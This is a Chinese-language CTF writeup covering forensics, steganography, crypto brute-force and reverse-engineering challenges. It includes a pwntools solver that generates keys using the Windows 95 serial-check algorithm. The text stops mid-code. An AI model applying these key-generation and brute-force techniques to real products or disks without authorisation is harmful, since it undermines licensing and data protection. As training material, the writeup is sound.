2021 暨南大学 Xp0int 杯网络安全大赛 Writeup xp0int Posted on Dec 6 2021 题目源码&附件:[https://github.com/xf1les/2021JNUCTF](https://github.com/xf1les/2021JNUCTF) ## 1. MISC ### 1.1 secret 这题挺多人做出来的,不细写了,flag藏在压缩包里,解压密码藏在剪切板里了 至于notepad的flag.txt,本身是个空文件,所以很多人说提取不出来,原因其实不是加密了。。 ``` python vol.py -f ../image.raw imageinfo python vol.py -f ../image.raw –profile=WinXPSP3x86 cmdline python vol.py -f ../image.raw –profile=WinXPSP3x86 clipboard python vol.py -f ../image.raw –profile=WinXPSP3x86 filescan | grep "aha.zip" python vol.py -f ../image.raw –profile=WinXPSP3x86 dumpfiles -Q 0x00000000019f5590 --dump-dir ../ ``` ### 1.2 LUKS 本题主要考察选手对 LUKS 加密磁盘结构的了解。 [LUKS (Linux Unified Key Setup)](https://linux.cn/article-9640-1.html)是一种 Linux 硬盘加密格式标准,本题考察的是 LUKS2。根据[格式文档](https://gitlab.com/cryptsetup/LUKS2-docs/blob/master/luks2_doc_wip.pdf),LUKS2 头部长度为 0x4000,允许存在多个头部。当第一个头部(primary header)损坏时,其余头部可以作为备份使用。 ![title](https://leanote.com/api/file/getImage?fileId=61ab9272ab644142b4539ce4) 题目附件中的`disk.img`是 LUKS2 硬盘镜像文件。从 ghex 可知,`disk.img`第一头部全部被`A`覆盖,第二头部的前面部分被`B`覆盖。 ![title](https://leanote.com/api/file/getImage?fileId=61ab92ddab644142c084002e) 对照格式文档,可以判断出第二头部被破坏的字段(`salt`只破坏了一个字节)。其中除了`seqid`和`salt`,其余字段均为固定值或者存在默认值。 解题思路:要修复`disk.img`,首先需要爆破`seqid`和`salt`。最多需要爆破 255 * 255 = 65536 次,通过`cryptsetup`(Linux 管理 LUKS 硬盘工具)的`luksDump`命令(查看 LUKS 硬盘信息)返回值判断是否为合法的 LUKS 硬盘信息。若为合法,即爆破成功。 爆破脚本`fix_hdr.py`如下: ``` # File: fix_hdr.py import struct, os from itertools import product with open('disk.img', 'rb+') as fp: // Skip 1st header fp.seek(0x4000, 0) // magic fp.write(b'SKUL\xba\xbe') // version fp.write(struct.pack(">H", 2)) // hdr_size fp.write(struct.pack(">Q", 0x4000)) // seqid fp.write(struct.pack(">Q", 0)) // label fp.write(b'\x00' * 48) // csum_alg fp.write(b'sha256'.ljust(32, b'\x00')) for seqid, salt in product(range(0x100), range(0x100)): with open('disk.img', 'rb+') as fp: fp.seek(0x4000 + 8 + 8, 0) fp.write(struct.pack(">Q", seqid)) fp.seek(0x4000 + 8 + 8 + 8 + 48 + 32, 0) fp.write(struct.pack(">B", salt)) print(seqid, salt) if not os.system("cryptsetup luksDump disk.img"): break ``` ![title](https://leanote.com/api/file/getImage?fileId=61ab976eab644142c0840041) 从执行结果可知,`seqid`为`3`,`salt`第一个字节为`116`。 `disk.img`修复好后,以附件中的`jnulogo.svg`作为密钥文件 (`key-file`) 解密加密盘,读取盘中的 flag 文件即可。 解密脚本如下: ``` #!/bin/bash set -ex # Fix 2nd header python3 fix_hdr.py # Repair and decrypt the disk sudo cryptsetup --key-file jnulogo.svg open disk.img disk # Read flag sudo mount /dev/mapper/disk /mnt/ cat /mnt/flag sudo umount /mnt/ sudo cryptsetup close /dev/mapper/disk ``` ### 1.3 misc??? 这道misc其实并不难,只需要看懂算法(非常简单的算法,改进的lsb),逆向一下算法即可。 加密代码和解密代码相似度其实非常高。 加密算法主要做的工作是 1.提取边缘像素(pkl文件,已经给出了) 2.使用随机数发生器选择边缘像素+非边缘像素(解密算法直接用) 3.将字符串长度信息隐藏到最后四位像素(需要简单实现) 4.使用矩阵置乱原始信息(需要重置回去) 5.将要加密的字符串按一定顺序隐藏到选定的边缘像素+非边缘像素中(照猫画虎提取)。 解密脚本参考如下 ``` import pickle import cv2 import random import numpy as np from PIL import Image ######################## patameter_change ############################################################ extract_imgname = 'hide.png' canny_imgname = 'pkl/bound.pkl' random_seed = 555111333444999000666777222888 ######################## permutation matrix ########################################################## key_table = [3, 5, 7, 0, 6, 2, 4, 1] ######################## 边缘获取 ############################################################### def find_bound(filename='pkl/bound.pkl'): """ 找边缘像素 """ f = open(filename, 'rb') bound = pickle.load(f) return bound lenna = cv2.imread(extract_imgname) # 转换通道 lenna_png = cv2.cvtColor(lenna, cv2.COLOR_BGR2RGB) # 存储边缘像素的文件 bound = find_bound(canny_imgname) # 获取边缘像素所在的所有横坐标 bound_x = [i[0] for i in bound] bound_y = [i[1] for i in bound] bound_x = list(set(bound_x)) bound_y = list(set(bound_y)) # 隐藏长度的位置 hide_len_pixel = [[lenna_png.shape[0]-1,lenna_png.shape[1]-1],[lenna_png.shape[0]-1,lenna_png.shape[1]-2], [lenna_png.shape[0]-1,lenna_png.shape[1]-3], [lenna_png.shape[0]-1,lenna_png.shape[1]-4]] ######################## len_extract ######################################################### def len_extract(lenna_png): """ 提取信息长度 """ global hide_len_pixel text_len = '' for index in range(len(hide_len_pixel)): tmp_pixel = lenna_png[hide_len_pixel[index][0], hide_len_pixel[index][1]] text_len += bin(tmp_pixel[0])[-1:] + bin(tmp_pixel[1])[-1:] + bin(tmp_pixel[2])[-2:] return int(text_len, 2) ######################## PRNG ############################################################### def PRNG(bound, bound_x, bound_y, textlen, col): """ 每轮随机选择一个边缘像素和一个非边缘像素作为一对像素进行隐写 """ global random_seed # 设定随机数发生器种子 random.seed(random_seed) # 信息长度 # text_len = 340 # 两个列表分别存储选取的像素 bound_field = [] nor_field = [] # 选择边缘像素进行提取、需要去重!!! for i in range(textlen): x_flag = 1 while x_flag: x = random.choice(bound_x) x_flag = 0 y = random.choice(bound_y) tmp_y = y # 如果是边缘像素并且未被选取 if [x, y] in bound and [x, y] not in bound_field and [x, y] not in hide_len_pixel: bound_field.append([x, y]) break else: bound_y_i = bound_y.index(y) bound_y_len = len(bound_y) while True: # 随机选取后做线性操作 bound_y_i = (bound_y_i + 1) % bound_y_len y = bound_y[bound_y_i] # y = (y + 1) % col if y == tmp_y: x_flag = 1 bound_x.remove(x) break if [x, y] in bound and [x, y] not in bound_field and [x, y] not in hide_len_pixel: bound_field.append([x, y]) break # 选择非边缘像素进行提取、需要去重!!! for i in range(text_len): x_flag = 1 while x_flag: x = random.randint(0, col-1) y = random.randint(0, col-1) tmp_y = y # 如果是非边缘像素并且未被选取 if [x, y] not in bound and [x, y] not in nor_field and [x, y] not in hide_len_pixel: nor_field.append([x, y]) break else: while True: # 随机选取后做线性操作 y = (y + 1) % col if y == tmp_y: continue if [x, y] not in bound and [x, y] not in nor_field and [x, y] not in hide_len_pixel: nor_field.append([x, y]) x_flag = 0 break return bound_field, nor_field text_len= len_extract(lenna_png) bound_field, nor_field = PRNG(bound, bound_x, bound_y, text_len, lenna_png.shape[1]) ######################## data_extract ########################################################## def data_extract(lenna_png, bound_field, nor_field): """ 从相应的一对像素提取信息 """ cry_str = [] for index in range(len(bound_field)): # 获取有隐藏信息的像素的RGB tmp_bound = lenna_png[bound_field[index][0], bound_field[index][1]] tmp_nor = lenna_png[nor_field[index][0], nor_field[index][1]] # 提取信息 tmp_text = bin(tmp_bound[0])[-1:] + bin(tmp_bound[1])[-1:] + bin(tmp_bound[2])[-2:] tmp_text = tmp_text + bin(tmp_nor[0])[-1:] + bin(tmp_nor[1])[-1:] + bin(tmp_nor[2])[-2:] cry_str.append(tmp_text) return cry_str cry_str = data_extract(lenna_png, bound_field, nor_field) ######################## data_restore ########################################################## def data_restore(cry_str): """ 将提取的信息进行置换得到原始信息 """ global key_table cry_text = [] # 还原明文 k = 0 for i in cry_str: result = '' for j in range(8): result = result + i[key_table.index(j)] cry_text.append(chr(int(result, 2))) return cry_text cry_text = data_restore(cry_str) print(''.join(cry_text)) ``` flag{m1sc_rev_1s_excited_???} ### 1.4 套娃 简单题,给的压缩包为flag4999.zip,已经提示了压缩次数,直接写脚本解压相应次数即可得到flag。 flag{extract_extract_extract_and_4lmost_there~} ### 1.5 boom shakalaka 简单的DES加密,给了所有参数,可以写出解密脚本 有4位未知,爆破即可。 参考脚本如下 ``` from pyDes import * import binascii import pyDes # 秘钥 KEY = 'pl2iz!z.' def des_descrypt(s): secret_key = KEY iv = secret_key k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5) de = k.decrypt(binascii.a2b_hex(s), padmode=PAD_PKCS5) return de for i1 in reversed(st): for i2 in reversed(st): for i3 in reversed(st): for i4 in reversed(st): data = cipher_text.format(i1,i2,i3,i4) try: res=des_descrypt(data) if b'flag' in res: # 得到近似结果后,自行更改得到更准确的结果 print(res) except: continue ``` flag{We_know_that_brute_f0rce_1s_4_go0d_method_to_hack_the_wor1d!!!} ### 1.6 EASY C51 目标锁定文件中的: ![图片标题](https://leanote.com/api/file/getImage?fileId=61aa3c61ab644142c083faa0) 从image得知应该改成图片类型的后缀,将其改为.png,打开后: ![图片标题](https://leanote.com/api/file/getImage?fileId=61aa3c90ab644142b453981f) 得知是89C51系列单片机,另一个hex文件便是准备烧录的代码: ![图片标题](https://leanote.com/api/file/getImage?fileId=61aa3cc8ab644142b4539821) :03000000020115E5 :0C011500787FE4F6D8FD75810B0200E352 :1000F600666C61677B48695F74305F4335317D00AC :100003007F381200CE7F057E001200187F38120061 :05001300CE7F057E0018 :10001800D3EF9400EE9400400D7D010DBD72FCEF0E :060028001F70ED1E80EACE :01002E0022AF :1000B900C290D291C2A5D2A5E580BF01045480FFA8 :0500C90022547FFF221C :1000CE00AE077F011200B9EF70F8C290C2918E8018 :0500DE00D2A5C2A5221D :10005A00AC077F011200B9EF70F8ED2480FF12009F :10006A00CED290C291C2A58C80D2A57F017E001209 :05007A000018C2A522E0 :10002F008B088A09890A8D0BAB08AA09A90A120045 :10003F00A06017050AE50A7002050914F91200A05D :0B004F00FFAD0B050B12005A80DE22F3 :10007F007F0F7E001200181200031200037F081278 :10008F0000117F011200117F061200117F0C020078 :01009F00CE92 :0F0106007F381200CE7F0E1200CE7F060200CE91 :1000E30012007F1201067BFF7A0079F6E4FD12000D :0300F3002F80FE5D :1000A000BB010689828A83E0225002E722BBFE025E :0900B000E32289828A83E4932291 :00000001FF 烧录可以选择仿真搭建电路后烧录,也可以直接在对应硬件上烧录,方便起见这里选择亚博的开发板: ![图片标题](https://leanote.com/api/file/getImage?fileId=61aa3d2eab644142b4539828) 选用STC官方烧录器,进行装填烧录: ![图片标题](https://leanote.com/api/file/getImage?fileId=61aa3d5bab644142c083faad) 烧录完成,1602液晶屏即可读取得到信息: ![图片标题](https://leanote.com/api/file/getImage?fileId=61aa3dc8ab644142c083fab7) flag{Hi_t0_C51} ### 1.7 guesssssssme <p class="md-end-block md-p md-focus" style="box-sizing: border-box; line-height: inherit; orphans: 4; margin: 0.8em 0px; white-space: pre-wrap; position: relative; color: #333333; font-family: 'Open Sans', 'Clear Sans', 'Helvetica Neue', Helvetica, Arial, 'Segoe UI Emoji', sans-serif; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;" data-mce-style="box-sizing: border-box; line-height: inherit; orphans: 4; margin: 0.8em 0px; white-space: pre-wrap; position: relative; color: #333333; font-family: 'Open Sans', 'Clear Sans', 'Helvetica Neue', Helvetica, Arial, 'Segoe UI Emoji', sans-serif; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"><span class="md-plain" style="box-sizing: border-box;" data-mce-style="box-sizing: border-box;">根据直接观察,或者百度编号可以猜出每一行都是B站视频的bv号,最终flag对应视频标题的首字母。</span></p><p class="md-end-block md-p" style="box-sizing: border-box; line-height: inherit; orphans: 4; margin: 0.8em 0px; white-space: pre-wrap; position: relative; color: #333333; font-family: 'Open Sans', 'Clear Sans', 'Helvetica Neue', Helvetica, Arial, 'Segoe UI Emoji', sans-serif; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;" data-mce-style="box-sizing: border-box; line-height: inherit; orphans: 4; margin: 0.8em 0px; white-space: pre-wrap; position: relative; color: #333333; font-family: 'Open Sans', 'Clear Sans', 'Helvetica Neue', Helvetica, Arial, 'Segoe UI Emoji', sans-serif; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"><span class="md-plain" style="box-sizing: border-box;" data-mce-style="box-sizing: border-box;">浏览器直接输入</span><span class="md-pair-s" style="box-sizing: border-box;" spellcheck="false" data-mce-style="box-sizing: border-box;"><code style="box-sizing: border-box; font-family: var(--monospace); text-align: left; vertical-align: initial; border: 1px solid #e7eaed; background-color: #f3f4f4; border-radius: 3px; padding: 0px 2px; font-size: 0.9em;" data-mce-style="box-sizing: border-box; font-family: var(--monospace); text-align: left; vertical-align: initial; border: 1px solid #e7eaed; background-color: #f3f4f4; border-radius: 3px; padding: 0px 2px; font-size: 0.9em;"><a href="https://www.bilibili.com/video/BV???" data-mce-href="https://www.bilibili.com/video/BV???">https://www.bilibili.com/video/BV???</a></code></span></p><p class="md-end-block md-p" style="box-sizing: border-box; line-height: inherit; orphans: 4; margin: 0.8em 0px; white-space: pre-wrap; position: relative; color: #333333; font-family: 'Open Sans', 'Clear Sans', 'Helvetica Neue', Helvetica, Arial, 'Segoe UI Emoji', sans-serif; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;" data-mce-style="box-sizing: border-box; line-height: inherit; orphans: 4; margin: 0.8em 0px; white-space: pre-wrap; position: relative; color: #333333; font-family: 'Open Sans', 'Clear Sans', 'Helvetica Neue', Helvetica, Arial, 'Segoe UI Emoji', sans-serif; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"><span class="md-plain" style="box-sizing: border-box;" data-mce-style="box-sizing: border-box;">依次得到标题首字母序列:menggushangdan,最后flag就是 flag{menggushangdan}</span></p> ### 1.8 fgo 完整wp见仓库中的writeup文件夹 首先使用`combine.py`将`result`文件中的图片进行拼接,拼接成一张`1920*1080`的图片,并保存与`image`文件夹中(当然你也可以使用`montage`进行拼接) ```python import os import cv2 filelist=os.listdir('result') per_hconcat=[] for i in range(18): tmp=[] for j in range(32): img=cv2.imread('result/%s'%filelist[i*32+j]) tmp.append(img) per_hconcat.append(cv2.hconcat(tmp)) result=cv2.vconcat(per_hconcat) cv2.imwrite('image/puzzle.jpg',result) ``` 构建[gaps](https://github.com/nemanja-m/gaps)镜像,需要对`requirements.txt`进行一定的修改 `docker build -t gaps:latest .` 使用`gaps:latest`进行拼图 `docker run -ti -v $PWD/image:/image gaps:latest gaps --image=/image/puzzle.jpg --size=60 --generations=50 --population=200 --save` 待拼图的图片和拼图结果都位于`image`中 `flag{Fa73-Grand-Ord3r!!}` ### 1.9 FFIVE 由题目提示想到F5隐写; 使用 工具 https://github.com/matthewgao/F5-steganography ``` java Extract /图片的路径 [-p 密码] [-e 输出文件] ``` 得到zip文件,恢复并解压得到f__k.txt ``` ++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>++++++.>----.<-----.>-----.>-----.<<.+++.<<<++++.+.>>>>-.<<<<---.-----.>>>---.<<<++++++++.---.>>>>.<<<<+.------.>>>.>-.<<<-------.----.+.>>>+..<<<<.>>>.++.<<--.>>-.<<--.>>>-.>++. ``` 可以想到Brainfuck编码,使用在线工具 http://www.hiencode.com/brain.html 解码得到flag ### 1.10 77777 解压得到一个文本,里面只有abcdefg七个字母,结合题目名称77777和LED联想到七段数码管,数字0-9,通过搜索(https://baike.baidu.com/item/%E4%B8%83%E6%AE%B5%E6%95%B0%E7%A0%81%E7%AE%A1/927592)即可得到七段数码管的表示方法: ```python Tube={ '0':"abcdef", '1':"bc", '2':"abged", '3':"abgcd", '4':"fgbc", '5':"fgcda", '6':"afedcg", '7':"abc", '8':"abcdefg", '9':"afgbcd" } ``` 根据提示把这些字母转换成数字,保存为txt文件,通过缩小视图即可看到flag ```python Num={ "abcdef":'0', "bc":'1', "abged":'2', "abgcd":'3', "fgbc":'4', "fgcda":'5', "afedcg":'6', "abc":'7', "abcdefg":'8', "afgbcd":'9' } x=69 #77777.txt一共有69行 y=512 #根据提示每行是512个数字 seven=open('77777.txt','r',encoding='utf-16') flag=open('flag.txt','w',encoding='utf-16') for i in range(x): line=seven.readline().split(' ') string='' for j in range(y): string=string+Num[line[j]] string+='\n' flag.write(string) seven.close() flag.close() ``` 可以直接打开保存的txt文件,缩小即可看得出flag,或者也可以保存为图片。 ### 1.11 EZ_QIM QIM 一种量化索引调制水印方案,主要思想在于将像素点移动到最近的某一个区域,而此区域代表一个值,从而实现水印的嵌入。 以下是嵌入公式: $$ p'=\lfloor\cfrac{p+m[i]\Delta}{2\Delta}\rfloor2\Delta+m[i]\Delta $$ 水印嵌入方法如下: $$ m[i]=\lfloor \cfrac{p'}{\Delta} \rfloor\ mod \ 2 $$ 提取脚本如下: ```matlab clear global delta global b delta=uint8(16); b=uint8(2); watermarked_lena=imread("watermarked_lena.jpg"); watermarked_lena=reshape(watermarked_lena,1,[]); f=reshape(Extract(watermarked_lena(1:80*512)),80,512); imwrite(f*255,"flag.jpg"); function w=Extract(p) global delta; global b; w=zeros(1,length(p)); for i=1:length(p) w(i)=mod(uint8(p(i)/delta),b); end end ``` ### 1.12 zero_width 零宽字符隐写 ``` MODE_ZWSP = 0 MODE_FULL = 1 ZERO_WIDTH_SPACE = '\u200b' ZERO_WIDTH_NON_JOINER = '\u200c' ZERO_WIDTH_JOINER = '\u200d' LEFT_TO_RIGHT_MARK = '\u200e' RIGHT_TO_LEFT_MARK = '\u200f' list_ZWSP = [ ZERO_WIDTH_SPACE, ZERO_WIDTH_NON_JOINER, ZERO_WIDTH_JOINER, ] list_FULL = [ ZERO_WIDTH_SPACE, ZERO_WIDTH_NON_JOINER, ZERO_WIDTH_JOINER, LEFT_TO_RIGHT_MARK, RIGHT_TO_LEFT_MARK, ] def get_padding_length(mode): return 11 if mode == MODE_ZWSP else 7 # Keep padding as small as possible def to_base(num, b, numerals='0123456789abcdefghijklmnopqrstuvwxyz'): """ Python implementation of number.toString(radix) Thanks to jellyfishtree from https://stackoverflow.com/a/2267428 """ return ((num == 0) and numerals[0]) or (to_base(num // b, b, numerals).lstrip(numerals[0]) + numerals[num % b]) def encode(message, mode=MODE_FULL): if not isinstance(message, str): raise TypeError('Cannot encode {0}'.format(type(message).__name__)) alphabet = list_ZWSP if mode == MODE_ZWSP else list_FULL padding = get_padding_length(mode) encoded = '' if (len(message) == 0): return '' for message_char in message: code = '{0}{1}'.format('0' * padding, int(str(to_base(ord(message_char), len(alphabet))))) code = code[len(code) - padding:] for code_char in code: index = int(code_char) encoded = encoded + alphabet[index] return encoded def decode(message, mode=MODE_FULL): if not isinstance(message, str): raise TypeError('Cannot decode {0}'.format(type(message).__name__)) alphabet = list_ZWSP if mode == MODE_ZWSP else list_FULL padding = get_padding_length(mode) encoded = '' decoded = '' for message_char in message: if message_char in alphabet: encoded = encoded + str(alphabet.index(message_char)) if (len(encoded) % padding != 0): raise TypeError('Unknown encoding detected!') cur_encoded_char = '' for index, encoded_char in enumerate(encoded): cur_encoded_char = cur_encoded_char + encoded_char if index > 0 and (index + 1) % padding == 0: decoded = decoded + chr(int(cur_encoded_char, len(alphabet))) cur_encoded_char = '' return decoded if __name__ == "__main__": data = open("flag.txt", "rb").read() print(decode(data.decode())) ``` FLAG : flag{98055234-e9e1-4c76-b1b0-fedb03d523ce} ### 1.13 easy_misc 密码使用莫斯电码解密为123,图片为lsb隐写,密码为123,解开后获得密码flag{this_is_the_second_password},压缩包密码为this_is_the_second_password; 零宽度字符解出为flag{this_is_true?},验证错误,提出原字符fierltmaa_stgs_e{eg},用栅栏密码四位加密,得到答案flag{it_seems_grate} ### 1.14 blind 打开获得两个文件,使用01editor或wireshark打开图片,在图片中间发现压缩包,分离,发现有密码,但是zip文件数据区加密位为0000,zip文件目录区全局标志位为0900,故为zip伪加密,将目录区全局标志改为0000,解压获得第一个小姐姐;另外一个zip在末尾发现50 4b等zip头文件代码,转换为正常的zip,解压获得另一个小姐姐,使用盲水印解密获得flag。 ## 2. REVERSE ### 2.1 mypyd <p>本题是先将源码打包成pyd格式(实际上就是转c语言后编译成动态链接库),然后外层套个main.py用来调用pyd的ahahaha函数,打包成exe</p><p>这道题出题的时候考虑的不太全面,把secret和xor_list放在了ahahaha函数外面,导致难度进一步提高了。。抱歉</p><p><br data-mce-bogus="1"></p><p>题目源码</p><pre id="leanote_ace_1638765374416_0" class="brush:python ace-tomorrow" data-mce-style="line-height: 1.5; font-size: 14px; height: 312px;">import sys secret = [7, 4, 0, 15, 26, 12, 0, 85, 13, 85, 80, 7, 14, 76, 82, 89, 80, 13, 76, 92, 86, 84, 88, 76, 9, 80, 11, 4, 76, 9, 83, 89, 80, 93, 89, 84, 11, 4, 80, 89, 11, 28] xor_list = 'ahahahaahahahaahahahaahahahaahahahaahahaha' def ahahaha(): flag = input('please input: ') if len(flag) != len(xor_list): sys.exit('try again') for i in range(len(xor_list)): if flag[i] != chr(secret[i]^ord(xor_list[i])): sys.exit('try again') sys.exit('congratulations')</pre><p><br data-mce-bogus="1"></p><p>首先解包exe:</p><pre id="leanote_ace_1638765905343_0" class="brush:sh ace-tomorrow" data-mce-style="line-height: 1.5; font-size: 14px; height: 62.4px;">wget https://raw.githubusercontent.com/extremecoders-re/pyinstxtractor/master/pyinstxtractor.py python pyinstxtractor.py <filename></pre><p></p><p></p><p><br data-mce-bogus="1"></p><p>解出pyd之后,直接拖进ida硬逆</p><p>这里我简单讲一下调用流程吧,实际做题其实不需要逆的那么仔细</p><p><img src="https://leanote.com/api/file/getImage?fileId=61adda6fab644142b453a458"></p><p>首先看PyInit里的PyModuleDef结构体</p><p><img src="https://leanote.com/api/file/getImage?fileId=61addb66ab644142b453a460"></p><p></p><p>m_slots里存了mod_create和mod_exec两个函数指针</p><p><img src="https://leanote.com/api/file/getImage?fileId=61addbbbab644142c0840784"></p><p>create函数执行一些初始化操作,这里直接看exec即可</p><p>180004983,这里执行了secret里数字的初始化操作,这里注意python里整数实际上以是一个个PyObject形式保存在内存里</p><p><img src="https://leanote.com/api/file/getImage?fileId=61addce0ab644142b453a466"></p><p>这里我们重新命名一下变量,方便之后查看</p><p>之后我们看180004CE1,这里我们可以看到创建了一个PyList,大小为42,然后执行了赋值操作</p><p><img src="https://leanote.com/api/file/getImage?fileId=61addd7dab644142b453a46a"></p><p>180004FFE,这里执行了xor_list的赋值操作</p><p><img src="https://leanote.com/api/file/getImage?fileId=61adddf6ab644142c0840791"></p><p>180005057,这里有一个PyMethodDef结构体,保存了编写的函数指针</p><p><img src="https://leanote.com/api/file/getImage?fileId=61adde53ab644142b453a470"></p><p><img src="https://leanote.com/api/file/getImage?fileId=61adde6cab644142c0840796"></p><p>180005BB0,即是ahahaha函数,我们跟进去分析</p><p>1800062CA,这里我们可以看到执行了xor_list和secret的异或操作</p><p><img src="https://leanote.com/api/file/getImage?fileId=61ade04eab644142b453a47c"></p><p>180006334,比较异或结果</p><p><img src="https://leanote.com/api/file/getImage?fileId=61ade0d4ab644142c084079f"></p> ### 2.2 signin 简单的MBA,即混合布尔运算表达式混淆,主要用到下面2条: ``` x ⊕ y → 2 × (x ∨ y) − y − x x ⊕ y → −(¬x ∨ y) + 2 × (¬x ∧ y) + (x ∨ ¬y) ``` 猜也行,爆破也行,自由发挥,详情请看源码。 ### 2.3 crazy_enc 分成3段加密输入,加密算法分别是:AES、RC4、TEA,没什么好说的,纯粹的加密算法识别,详情请看源码。 ### 2.4 BrokenWindows 程序要求输入 100 个带有附加条件的序列号。附加条件指要求序列号后 8 位出现 1、2 或者 3 次 0-9 之间的某个数字。 首先从这里可以推断出序列号的结构是`XXX-XXXXXXX`: ![title](https://leanote.com/api/file/getImage?fileId=619f41baab644142c0497760) 从`check_retail_key`可以推断出前3个字符是数字,且不能为333、444、555、666、777、888、999: ![title](https://leanote.com/api/file/getImage?fileId=619f4219ab644142b4191a60) 从`check`可以推断出后8个字符也是数字,要求8位数字相加的和可以被 7 整除。 ![title](https://leanote.com/api/file/getImage?fileId=619f4285ab644142b41922af) 逆向出序列号算法后,就能计算出符合附加条件的序列号了: 0. 前 3 位可以统一设为`000` 1. 若要求 n 个 `0`,其余`8-n`位可以设为`7` 2. 若要求 n 个 `7`,其余`8-n`位设为`0` 3. 若要求 n 个 非`0`或`7`的数字`x`,先填 n 个 `x`,然后填上 n 个 `x`相加和模除 7 的结果,最后其余位用`0`或者`7`填充。 EXP 代码如下: ``` #!/usr/bin/env python3 from pwn import * import warnings warnings.filterwarnings("ignore", category=BytesWarning) context(log_level="debug") # ~ p = process("./chall") p = remote("35.229.138.83", 11689) for i in range(100): s = p.recvuntil(" '") if b"one" in s: count = 1 elif b"two" in s: count = 2 elif b"three" in s: count = 3 num = int(p.recvuntil("')", drop=True)) if num == 0: ans = "000-" + count * '0' + (7-count) * '7' elif num == 7: ans = "000-" + count * '7' + (7-count) * '0' else: ans = "000-" + (str(7 - (num * count % 7)) + count * str(num)).rjust(7, '0') p.sendlineafter(': ', ans) p.interactive() ``` P.S. 题目中使用的算法是 Windows 95 序列号检验算法,有兴趣的同学通过[这个视频](https://www.bilibili.com/BV1Kp4y1p7LF)了解一下相关历史。 ### 2.5 baby_intel intel sse2指令集 程序先设定了一个随机数种子7944751443697814904("xMaNXmAn"),然后生成1024次随机数,根据每次生成的随机数 & 7做不同的操作,诸如异或、加、减、循环右移、循环左移、AES逆列混淆、打乱顺序操作。 可能AES逆列混淆和打乱顺序两个操作第一次看有点难理解 1. AES每轮加密都要进行列混淆操作,这里逆列混淆调用的是_mm_aesimc_si128,还原_mm_aesimc_si128的话去网上抄一个AES列混淆就能还原了。。。 2. 打乱顺序调用的是_mm_shuffle_epi32,举个例子,_m128i可以看成4个DWORD数组成的,从左往右记作 D3|D2|D1|D0,此时的位置就是11|10|01|00,如果想替换D3和D2的位置只需要把位置改成10|11|01|00(0b10110100 = 180),就是_mm_shuffle_epi32(val,180) 因为每个操作都是可逆的,所以还原下就行 ``` #include <wmmintrin.h> #include <immintrin.h> #include <emmintrin.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <cstdint> #include <stack> uint8_t aes_xtime(uint8_t x) { return ((x << 1) ^ (((x >> 7) & 1) * 0x1b)); } uint8_t aes_xtimes(uint8_t x, int ts) { while (ts-- > 0) { x = aes_xtime(x); } return x; } uint8_t aes_mul(uint8_t x, uint8_t y) { /* * encrypt: y has only 2 bits: can be 1, 2 or 3 * decrypt: y could be any value of 9, b, d, or e */ return ((((y >> 0) & 1) * aes_xtimes(x, 0)) ^ (((y >> 1) & 1) * aes_xtimes(x, 1)) ^ (((y >> 2) & 1) * aes_xtimes(x, 2)) ^ (((y >> 3) & 1) * aes_xtimes(x, 3)) ^ (((y >> 4) & 1) * aes_xtimes(x, 4)) ^ (((y >> 5) & 1) * aes_xtimes(x, 5)) ^ (((y >> 6) & 1) * aes_xtimes(x, 6)) ^ (((y >> 7) & 1) * aes_xtimes(x, 7))); } void aes_mix_columns(uint8_t* state) { uint8_t y[16] = { 2, 3, 1, 1, 1, 2, 3, 1, 1, 1, 2, 3, 3, 1, 1, 2 }; uint8_t s[4]; int i, j, r; for (i = 0; i < 4; i++) { for (r = 0; r < 4; r++) { s[r] = 0; for (j = 0; j < 4; j++) { s[r] = s[r] ^ aes_mul(state[i * 4 + j], y[r * 4 + j]); } } for (r = 0; r < 4; r++) { state[i * 4 + r] = s[r]; } } } using namespace std; int main() { stack<uint8_t> s; uint64_t seed = 7944751443697814904; uint8_t choice = 8; uint32_t gift = 0; uint8_t cmp[48] = { 0x40, 0x6b, 0x3d, 0xc1, 0xfc, 0x1d, 0x2f, 0x78, 0x93, 0x05, 0xfa, 0x3e, 0xc5, 0xb9, 0x27, 0x4d, 0xe6, 0xcc, 0x5f, 0x3f, 0xee, 0xd1, 0xc6, 0x34, 0xb6, 0xf2, 0xbc, 0x14, 0xd9, 0x67, 0x8e, 0xe6, 0x8f, 0x5b, 0xf5, 0x98, 0x4e, 0x4e, 0x4e, 0x4e, 0x9d, 0x67, 0x9a, 0xdb, 0x5b, 0x3f, 0x4d, 0xb0 }; srand(seed & 0xffffffff); __m128i one, two, three, val; one = _mm_load_si128((const __m128i*)cmp); two = _mm_load_si128((const 